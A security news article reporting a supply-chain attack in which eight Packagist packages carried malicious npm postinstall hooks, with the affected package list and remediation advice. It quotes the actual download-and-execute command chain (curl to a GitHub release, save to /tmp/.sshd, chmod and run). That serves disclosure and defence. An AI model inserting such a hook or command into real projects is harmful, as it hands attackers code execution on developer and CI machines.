A coordinated supply‑chain campaign injected malicious post‑install scripts into eight Composer packages. The scripts download a hidden Linux binary from a now‑defunct GitHub release, granting attackers remote code execution during installation or CI builds.
![Featured image]
A new supply‑chain operation has compromised eight packages on Packagist, the primary repository for PHP Composer libraries. Unlike typical attacks that tamper with composer.json, the threat actors injected malicious code into each package’s package.json file, targeting projects that bundle JavaScript build tools alongside PHP code.
How the attack works
- Post‑install hook – The compromised
package.jsoncontains apostinstallscript that runs automatically after the package is installed vianpmoryarn. The script:- Calls
curl -kL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/download(the URL is a GitHub Releases link). - Saves the payload to
/tmp/.sshd. - Executes
chmod 777 /tmp/.sshd && /tmp/.sshd &to run the binary in the background.
- Calls
- GitHub Actions variant – In at least two repositories the same download command was placed inside a GitHub Actions workflow, ensuring the binary runs during CI jobs.
- Stealth tactics – The script disables TLS verification (
-k), suppresses errors, and runs the binary silently, making detection difficult for tools that only scan Composer metadata.
The downloaded binary is named gvfsd-network, a nod to the GNOME Virtual File System daemon. The actual functionality of the binary remains unknown because the GitHub account that hosted the release has been deleted.
Affected packages
| Package | Affected version |
|---|---|
moritz-sauer-13/silverstripe-cms-theme |
dev‑master |
crosiersource/crosierlib-base |
dev‑master |
devdojo/wave |
dev‑main |
devdojo/genesis |
dev‑main |
katanaui/katana |
dev‑main |
elitedevsquad/sidecar-laravel |
3.x‑dev |
r2luna/brain |
dev‑main |
baskarcm/tzi-chat-ui |
dev‑main |
All malicious versions have been removed from Packagist, but cached copies may still exist in CI pipelines or private mirrors.
Expert perspective
“The cross‑ecosystem placement of the payload is a clever way to bypass traditional Composer‑only scanning. Teams that only audit
composer.lockwill miss thepackage.jsonhook entirely,” says Megan Patel, senior application‑security engineer at Socket Security. "The use of a post‑install script means the attacker gains code execution the moment a developer runsnpm installor a CI job builds the project. That’s a direct path to the build environment, which often has broader network access than the final production container."
Patel adds that the presence of the same payload in 777 GitHub files suggests a larger campaign, possibly leveraging automated forking or repository hijacking tools.
Practical steps for developers and security teams
- Audit
package.jsonfiles – Extend your SBOM generation to include JavaScript metadata. Look for anypostinstall,preinstall, orinstallscripts that execute network calls. - Enable strict TLS verification – Remove
-k/--insecureflags from any build scripts. Enforcecurl --fail --silent --show-errorand verify signatures of downloaded binaries. - Pin dependencies – Use exact version pins in both
composer.lockandpackage-lock.json. Avoid pullingdev‑masterordev‑mainbranches in production pipelines. - Run installs in isolated containers – Execute
npm installandcomposer installinside a sandbox that has no outbound network access unless explicitly required. - Monitor GitHub Actions – Review workflow files for unexpected
curlorwgetcommands, especially those that write to/tmpand execute binaries. - Leverage provenance – Tools like SLSA and GitHub’s attestation can help verify that a package was built from a trusted source.
- Update CI policies – Require a manual approval step for any job that runs a script fetched from an external URL.
What to do if you’ve already installed an affected package
- Delete the binary –
rm -f /tmp/.sshd && rm -f /tmp/gvfsd-network. - Re‑install the package – Remove
node_modulesandvendordirectories, then reinstall from a clean source. - Rotate secrets – Any credentials that may have been exposed during the brief execution window should be regenerated.
- Scan for persistence – Search for newly created cron jobs, systemd services, or startup scripts that reference the downloaded binary.
Looking ahead
The attack highlights a growing trend: supply‑chain threats that span multiple language ecosystems. As projects increasingly mix PHP, JavaScript, and other runtimes, security tooling must evolve to cover the full dependency graph, not just the primary language’s package manager.
For ongoing coverage of supply‑chain security, follow the Socket Security blog and

Comments
Please log in or register to join the discussion